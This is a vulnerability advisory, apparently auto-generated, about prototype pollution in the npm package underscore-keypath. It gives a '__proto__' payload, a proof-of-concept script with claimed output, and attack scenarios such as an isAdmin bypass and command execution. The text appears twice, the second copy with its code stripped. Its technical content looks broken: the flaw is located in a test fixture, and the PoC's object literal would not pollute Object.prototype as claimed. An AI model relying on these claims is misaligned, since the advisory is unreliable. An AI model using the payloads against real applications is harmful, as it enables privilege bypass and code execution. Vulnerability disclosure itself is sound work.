Prototype Pollution via proto in underscore-keypath
Summary
A critical prototype pollution vulnerability exists in underscore-keypath versions <= 0.9.3. The extend() method uses underscore's _.extend() function to perform recursive object merging without proper prototype pollution protection. Attackers can inject a malicious __proto__ property to pollute Object.prototype, affecting all JavaScript objects in the application and potentially leading to Remote Code Execution (RCE), Denial of Service (DoS), or authentication bypass.
Details
The vulnerability exists in the extend() method implementation, which directly delegates to underscore's _.extend() function for recursive object merging operations. This function does not sanitize or filter special property names like __proto__, constructor, or prototype before performing the merge operation.
Vulnerable Code Location:
- File:
package/package/test/fixture.js
- Line: 7
The vulnerable code performs an unprotected recursive merge:
this.options = _.extend({}, options);
When user-controlled input containing a __proto__ key flows into this function, it triggers prototype pollution at multiple sinks:
- RECURSIVE_MERGE sink (line 7): The primary vulnerability where
_.extend() processes the malicious payload
- DYNAMIC_PROP_WRITE sink (line 44):
array[0] = value; - Dynamic property assignment without validation
- DYNAMIC_PROP_WRITE sink (line 48):
array[Math.max(array.length - 1, 0)] = value; - Another unprotected dynamic assignment
The absence of prototype chain validation allows attackers to modify properties on Object.prototype, which propagates to all JavaScript objects in the runtime environment.
PoC
Payload
{"__proto__": {"polluted": "yes"}}
Steps to Reproduce
-
Install the vulnerable package:
npm install underscore-keypath@0.9.3
-
Create a test file (test-pollution.js):
const _ = require('underscore-keypath');
// Verify clean state
console.log('Before pollution:', {}.polluted); // undefined
// Trigger prototype pollution
const malicious = {'__proto__': {'polluted': 'yes'}};
_.extend({}, malicious);
// Check if pollution occurred
console.log('After pollution:', {}.polluted); // 'yes'
// Verify pollution affects all objects
const newObject = {};
console.log('New object polluted:', newObject.polluted); // 'yes'
-
Execute the test:
Expected Behavior
The polluted property should not exist on newly created objects, and Object.prototype should remain unmodified.
Before pollution: undefined
After pollution: undefined
New object polluted: undefined
Actual Behavior
The polluted property is injected into Object.prototype and appears on all JavaScript objects:
Before pollution: undefined
After pollution: yes
New object polluted: yes
This confirms successful prototype pollution, demonstrating that the malicious payload has modified the global object prototype chain.
Impact
This prototype pollution vulnerability poses a CRITICAL security risk with multiple attack vectors:
1. Remote Code Execution (RCE)
If polluted properties flow into dangerous sinks such as:
eval() or Function() constructors
child_process.exec() or child_process.spawn()
- Template engines that execute code based on object properties
Example scenario:
const options = {};
// After pollution: options.command = 'malicious command'
child_process.exec(options.command); // RCE
2. Denial of Service (DoS)
Attackers can overwrite critical built-in methods or properties:
{'__proto__': {'toString': null}} // Breaks string coercion
{'__proto__': {'valueOf': null}} // Breaks numeric operations
3. Authentication Bypass
Applications using object properties for access control are vulnerable:
// Application code
if (user.isAdmin) { /* admin actions */ }
// After pollution with {'__proto__': {'isAdmin': true}}
// All users become admins
4. Property Injection
Attackers can inject arbitrary properties that may affect:
- Business logic conditions
- Security checks
- Data validation routines
- Configuration settings
5. Cross-Site Scripting (XSS) Amplification
In web applications, polluted properties can be reflected in HTML output, enabling XSS attacks.
Affected Applications:
Any application using underscore-keypath <= 0.9.3 that processes user-controlled input (JSON APIs, configuration files, user preferences, etc.) is vulnerable to this attack.
Remediation
Immediate Actions:
- Upgrade to a patched version when available
- Implement input validation to reject objects containing
__proto__, constructor, or prototype keys
- Use
Object.create(null) for objects that store user data to avoid prototype chain inheritance
- Enable
--disable-proto=delete flag in Node.js environments where possible
Temporary Mitigation:
function sanitizeObject(obj) {
if (obj && typeof obj === 'object') {
delete obj.__proto__;
delete obj.constructor;
delete obj.prototype;
}
return obj;
}
// Use before calling extend()
const safeInput = sanitizeObject(userInput);
_.extend({}, safeInput);
CVSS Score: 9.8 (Critical)
CWE: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes)
Affected Versions: <= 0.9.3
Patched Versions: None available at time of disclosure
Prototype Pollution via proto in underscore-keypath
Summary
A critical prototype pollution vulnerability exists in underscore-keypath versions <= 0.9.3. The
extend()method uses underscore's_.extend()function to perform recursive object merging without proper prototype pollution protection. Attackers can inject a malicious__proto__property to polluteObject.prototype, affecting all JavaScript objects in the application and potentially leading to Remote Code Execution (RCE), Denial of Service (DoS), or authentication bypass.Details
The vulnerability exists in the
extend()method implementation, which directly delegates to underscore's_.extend()function for recursive object merging operations. This function does not sanitize or filter special property names like__proto__,constructor, orprototypebefore performing the merge operation.Vulnerable Code Location:
package/package/test/fixture.jsThe vulnerable code performs an unprotected recursive merge:
When user-controlled input containing a
__proto__key flows into this function, it triggers prototype pollution at multiple sinks:_.extend()processes the malicious payloadarray[0] = value;- Dynamic property assignment without validationarray[Math.max(array.length - 1, 0)] = value;- Another unprotected dynamic assignmentThe absence of prototype chain validation allows attackers to modify properties on
Object.prototype, which propagates to all JavaScript objects in the runtime environment.PoC
Payload
{"__proto__": {"polluted": "yes"}}Steps to Reproduce
Install the vulnerable package:
Create a test file (
test-pollution.js):Execute the test:
Expected Behavior
The
pollutedproperty should not exist on newly created objects, andObject.prototypeshould remain unmodified.Actual Behavior
The
pollutedproperty is injected intoObject.prototypeand appears on all JavaScript objects:This confirms successful prototype pollution, demonstrating that the malicious payload has modified the global object prototype chain.
Impact
This prototype pollution vulnerability poses a CRITICAL security risk with multiple attack vectors:
1. Remote Code Execution (RCE)
If polluted properties flow into dangerous sinks such as:
eval()orFunction()constructorschild_process.exec()orchild_process.spawn()Example scenario:
2. Denial of Service (DoS)
Attackers can overwrite critical built-in methods or properties:
3. Authentication Bypass
Applications using object properties for access control are vulnerable:
4. Property Injection
Attackers can inject arbitrary properties that may affect:
5. Cross-Site Scripting (XSS) Amplification
In web applications, polluted properties can be reflected in HTML output, enabling XSS attacks.
Affected Applications:
Any application using underscore-keypath <= 0.9.3 that processes user-controlled input (JSON APIs, configuration files, user preferences, etc.) is vulnerable to this attack.
Remediation
Immediate Actions:
__proto__,constructor, orprototypekeysObject.create(null)for objects that store user data to avoid prototype chain inheritance--disable-proto=deleteflag in Node.js environments where possibleTemporary Mitigation:
CVSS Score: 9.8 (Critical)
CWE: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes)
Affected Versions: <= 0.9.3
Patched Versions: None available at time of disclosure